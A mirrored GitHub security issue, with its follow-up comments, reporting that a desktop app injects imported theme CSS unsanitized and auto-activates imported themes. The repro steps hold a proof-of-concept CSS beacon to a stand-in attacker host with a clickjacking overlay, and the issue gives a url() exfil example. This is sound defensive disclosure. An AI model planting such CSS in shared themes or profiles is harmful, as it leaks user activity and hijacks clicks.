[GH-ISSUE #2365] [Issue]: Active theme CSS is injected raw and unscoped into document.head, bypassing the card-CSS sanitizer (url() exfil, clickjacking) #1166

Closed
opened 2026-10-21 05:28:12 +07:00 by bsakaguchi · 2 comments
Owner

Originally created by @Romuromylus on GitHub (Jun 5, 2026).
Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2365

Originally assigned to: @Romuromylus on GitHub.

Summary

Severity: Medium — XSS-class (CSS injection / exfil / clickjacking).

The active custom theme's CSS is written verbatim into a global <style> in document.head with no sanitization and no scoping, bypassing every guard the sibling card-CSS path enforces. Because profile import honors an imported theme's isActive: true flag as-is, a shared .marinara / profile envelope can auto-activate an attacker-supplied theme on import.

Expected behavior

Untrusted theme CSS should pass through the same dangerous-construct stripper the card path uses (sanitizeChatCss / scopeChatCss) before injection — at minimum stripping remote url(), @import, expression(), and full-viewport position:fixed. An imported theme should not auto-activate; the user should explicitly enable it.

Actual behavior

src/app/providers/CustomThemeInjector.tsx:64 injects the active theme's CSS raw:

if (!style) {
  style = document.createElement("style");
  style.id = id;
  document.head.appendChild(style);
}
style.textContent = activeTheme.css;   // RAW, unsanitized, global — no scopeChatCss/sanitizeChatCss

activeTheme is customThemes.find(t => t.isActive) (line 47). The sibling paths that render untrusted CSS do sanitize: CreatorNotesCssInjector.tsx:68 and ChatMessage.tsx:943 both run their CSS through scopeChatCss first, and sanitizeChatCss (src/shared/lib/chat-css.ts:333-404) strips non-data: url(), @import, @namespace, expression(), javascript:/vbscript:, behavior, -moz-binding, :has(), converts position:fixed → absolute, and strips theme tokens / !important / </style. The theme path applies none of that.

Profile import makes this reachable without user intent: the Rust profile import (commands/storage/profile.rs:835-871 validate_native_profile_import) only checks that each collection is a JSON array and upserts the themes rows verbatim (profile.rs:981); normalize_typed_json_fields never touches the css string or strips isActive, and createThemeSchema.css (theme.schema.ts:6) is z.string() with no sanitization. So an imported envelope can ship a theme with isActive: true that activates on the next render and injects attacker CSS. The injected CSS can run background: url(https://attacker/pixel?opened=1) or @import url(...) to exfil that the app was opened plus IP/timing/fingerprint, lay a position:fixed; inset:0; z-index:99999 full-viewport clickjacking overlay, override app theme tokens, and !important-restyle arbitrary UI. (tauri.conf.json ships security.csp = null, so the remote request fires on render.)

Steps to reproduce

  1. Build a .marinara / profile envelope whose themes collection contains a theme with isActive: true and css: "body::before{content:'';position:fixed;inset:0;background:url(https://attacker.example/beacon?opened=1)}".
  2. Import it via the full-profile import flow.
  3. On the next render, observe the beacon request fire (and the overlay render) — no further user action required.

Impact area

  • App shell, navigation, startup, or providers
  • Tauri/Rust storage, assets, LLM, integrations, security, imports, or HTTP runtime

Environment

  • Branch or commit: refactor @ 330f69a8
  • Run mode: Tauri desktop
  • OS + version: not relevant (static source audit)
  • Node + pnpm versions: not relevant
  • Rust version, if relevant: not relevant
  • Remote Runtime URL configured? not relevant
  • Provider, model, or integration, if relevant: not relevant — triggered by imported profile data

Logs, screenshots, or video

Static source audit. Cited: src/app/providers/CustomThemeInjector.tsx:64 (raw theme CSS), :83 (raw extension CSS), :47 (active selection); sanitizer reference src/shared/lib/chat-css.ts:333-404; sibling-safe paths CreatorNotesCssInjector.tsx:68, ChatMessage.tsx:943; import path commands/storage/profile.rs:835-871, :981.

Regression notes

Found via static audit; not a regression. The web build's packages/client/src/components/layout/CustomThemeInjector.tsx does the byte-identical style.textContent = activeTheme.css; with no sanitization, and main's profile import inserts themes rows verbatim (and in fact re-activates the imported active theme). The refactor is a near-verbatim port of this pre-existing parity gap, so it is shared by both builds rather than introduced by the refactor.

Additional context

Factor the dangerous-construct stripper out of sanitizeChatCss (src/shared/lib/chat-css.ts) into a reusable stripDangerousCss(css) (network + clickjacking guards: strip non-data: url(), @import, @namespace, expression(), forbid position:fixed, behavior/-moz-binding, </style) and apply it at CustomThemeInjector.tsx:64 (theme CSS) and :83 (extension CSS). Additionally, do not auto-honor an imported theme's isActive flag — require explicit user activation after import. Related hardening: the extension-JS auto-execution gap on the same import path is filed separately.

Template check

  • I DID NOT read this template and provide the requested details.
Originally created by @Romuromylus on GitHub (Jun 5, 2026). Original GitHub issue: https://github.com/Pasta-Devs/Marinara-Engine/issues/2365 Originally assigned to: @Romuromylus on GitHub. ## Summary **Severity: Medium — XSS-class (CSS injection / exfil / clickjacking).** The active custom theme's CSS is written verbatim into a global `<style>` in `document.head` with no sanitization and no scoping, bypassing every guard the sibling card-CSS path enforces. Because profile import honors an imported theme's `isActive: true` flag as-is, a shared `.marinara` / profile envelope can auto-activate an attacker-supplied theme on import. ## Expected behavior Untrusted theme CSS should pass through the same dangerous-construct stripper the card path uses (`sanitizeChatCss` / `scopeChatCss`) before injection — at minimum stripping remote `url()`, `@import`, `expression()`, and full-viewport `position:fixed`. An imported theme should not auto-activate; the user should explicitly enable it. ## Actual behavior `src/app/providers/CustomThemeInjector.tsx:64` injects the active theme's CSS raw: ```tsx if (!style) { style = document.createElement("style"); style.id = id; document.head.appendChild(style); } style.textContent = activeTheme.css; // RAW, unsanitized, global — no scopeChatCss/sanitizeChatCss ``` `activeTheme` is `customThemes.find(t => t.isActive)` (line 47). The sibling paths that render untrusted CSS **do** sanitize: `CreatorNotesCssInjector.tsx:68` and `ChatMessage.tsx:943` both run their CSS through `scopeChatCss` first, and `sanitizeChatCss` (`src/shared/lib/chat-css.ts:333-404`) strips non-`data:` `url()`, `@import`, `@namespace`, `expression()`, `javascript:`/`vbscript:`, `behavior`, `-moz-binding`, `:has()`, converts `position:fixed` → `absolute`, and strips theme tokens / `!important` / `</style`. The theme path applies none of that. Profile import makes this reachable without user intent: the Rust profile import (`commands/storage/profile.rs:835-871` `validate_native_profile_import`) only checks that each collection is a JSON array and upserts the `themes` rows verbatim (`profile.rs:981`); `normalize_typed_json_fields` never touches the `css` string or strips `isActive`, and `createThemeSchema.css` (`theme.schema.ts:6`) is `z.string()` with no sanitization. So an imported envelope can ship a theme with `isActive: true` that activates on the next render and injects attacker CSS. The injected CSS can run `background: url(https://attacker/pixel?opened=1)` or `@import url(...)` to exfil that the app was opened plus IP/timing/fingerprint, lay a `position:fixed; inset:0; z-index:99999` full-viewport clickjacking overlay, override app theme tokens, and `!important`-restyle arbitrary UI. (`tauri.conf.json` ships `security.csp = null`, so the remote request fires on render.) ## Steps to reproduce 1. Build a `.marinara` / profile envelope whose `themes` collection contains a theme with `isActive: true` and `css: "body::before{content:'';position:fixed;inset:0;background:url(https://attacker.example/beacon?opened=1)}"`. 2. Import it via the full-profile import flow. 3. On the next render, observe the beacon request fire (and the overlay render) — no further user action required. ## Impact area - [x] App shell, navigation, startup, or providers - [x] Tauri/Rust storage, assets, LLM, integrations, security, imports, or HTTP runtime ## Environment - Branch or commit: refactor @ 330f69a8 - Run mode: Tauri desktop - OS + version: not relevant (static source audit) - Node + pnpm versions: not relevant - Rust version, if relevant: not relevant - Remote Runtime URL configured? not relevant - Provider, model, or integration, if relevant: not relevant — triggered by imported profile data ## Logs, screenshots, or video Static source audit. Cited: `src/app/providers/CustomThemeInjector.tsx:64` (raw theme CSS), `:83` (raw extension CSS), `:47` (active selection); sanitizer reference `src/shared/lib/chat-css.ts:333-404`; sibling-safe paths `CreatorNotesCssInjector.tsx:68`, `ChatMessage.tsx:943`; import path `commands/storage/profile.rs:835-871`, `:981`. ## Regression notes Found via static audit; **not a regression**. The web build's `packages/client/src/components/layout/CustomThemeInjector.tsx` does the byte-identical `style.textContent = activeTheme.css;` with no sanitization, and main's profile import inserts `themes` rows verbatim (and in fact re-activates the imported active theme). The refactor is a near-verbatim port of this pre-existing parity gap, so it is shared by both builds rather than introduced by the refactor. ## Additional context Factor the dangerous-construct stripper out of `sanitizeChatCss` (`src/shared/lib/chat-css.ts`) into a reusable `stripDangerousCss(css)` (network + clickjacking guards: strip non-`data:` `url()`, `@import`, `@namespace`, `expression()`, forbid `position:fixed`, `behavior`/`-moz-binding`, `</style`) and apply it at `CustomThemeInjector.tsx:64` (theme CSS) and `:83` (extension CSS). Additionally, do not auto-honor an imported theme's `isActive` flag — require explicit user activation after import. Related hardening: the extension-JS auto-execution gap on the same import path is filed separately. ## Template check - [ ] I DID NOT read this template and provide the requested details.
bsakaguchi 2026-10-21 05:28:12 +07:00
Author
Owner

@Romuromylus commented on GitHub (Jun 5, 2026):

Same profile-import root as #2366 (extensions restored with enabled:true + arbitrary JS): both stem from the import path honoring imported isActive/enabled flags without a defensive reset, and the fix is the same family — don't auto-honor active/enabled state from imported data. The CSS-only exfil/clickjacking surface here also overlaps #2367 (game-mode AnimatedText style-attr), which wants the same url()/position:fixed stripping; factoring a shared stripDangerousCss would cover both.

<!-- gh-comment-id:4635405428 --> @Romuromylus commented on GitHub (Jun 5, 2026): Same profile-import root as #2366 (extensions restored with `enabled:true` + arbitrary JS): both stem from the import path honoring imported `isActive`/`enabled` flags without a defensive reset, and the fix is the same family — don't auto-honor active/enabled state from imported data. The CSS-only exfil/clickjacking surface here also overlaps #2367 (game-mode `AnimatedText` `style`-attr), which wants the same `url()`/`position:fixed` stripping; factoring a shared `stripDangerousCss` would cover both.
Author
Owner

@Romuromylus commented on GitHub (Jun 6, 2026):

Fixed by #2382, merged into refactor (squash 336cbf1f).

<!-- gh-comment-id:4637085360 --> @Romuromylus commented on GitHub (Jun 6, 2026): Fixed by #2382, merged into `refactor` (squash 336cbf1f).
Sign in to join this conversation.
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
Pasta-Devs/Marinara-Engine#1166
No description provided.